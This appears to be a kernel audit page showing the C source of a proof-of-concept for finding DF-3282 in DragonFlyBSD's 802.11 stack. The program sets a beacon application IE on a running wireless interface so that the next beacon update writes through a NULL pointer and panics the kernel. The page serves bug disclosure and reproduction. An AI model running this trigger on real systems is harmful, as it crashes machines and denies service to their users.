⬢ DragonFlyBSD Kernel Audit
DF-3282 / setappie.c
← back to finding ↓ download raw
/*
 * setappie.c -- DF-3282 PoC trigger.
 *
 * Sets an application IE on a *running* hostap/ibss vap whose beacon
 * was constructed without any app IE (ieee80211_beacon_alloc ran
 * before this call).  Next ieee80211_beacon_update() does
 * bo->bo_appie += adjust on a NULL bo->bo_appie and memcpy()s the IE
 * to kernel address 0x0+ie_len  =>  fatal page fault.
 *
 * Privilege: root (SIOCS80211 needs SYSCAP_NONET_WIFI) -- same
 * privilege as hostapd/wpa_supplicant plumbing WPS beacon IEs.
 *
 * build: cc -O -o setappie setappie.c
 * run:   ./setappie wlan0
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <net/if.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <err.h>

#include <netproto/802_11/ieee80211_ioctl.h>

int
main(int argc, char *argv[])
{
	struct ieee80211req ireq;
	unsigned char ie[64];
	int s;
	const char *ifname = argc > 1 ? argv[1] : "wlan0";

	s = socket(AF_INET, SOCK_DGRAM, 0);
	if (s < 0)
		err(1, "socket");

	/* a vendor IE: id 0xdd, len 62, payload */
	memset(ie, 0x5a, sizeof(ie));
	ie[0] = IEEE80211_ELEMID_VENDOR;
	ie[1] = sizeof(ie) - 2;

	memset(&ireq, 0, sizeof(ireq));
	strlcpy(ireq.i_name, ifname, IFNAMSIZ);
	ireq.i_type = IEEE80211_IOC_APPIE;
	ireq.i_val = IEEE80211_FC0_SUBTYPE_BEACON;
	ireq.i_len = sizeof(ie);
	ireq.i_data = ie;

	printf("setting %u-byte beacon app IE on %s...\n", ireq.i_len, ifname);
	if (ioctl(s, SIOCS80211, &ireq) < 0)	/* arg is the ieee80211req */
		err(1, "SIOCS80211 APPIE");
	printf("OK -- app IE installed; next TBTT beacon update should fault\n");
	return 0;
}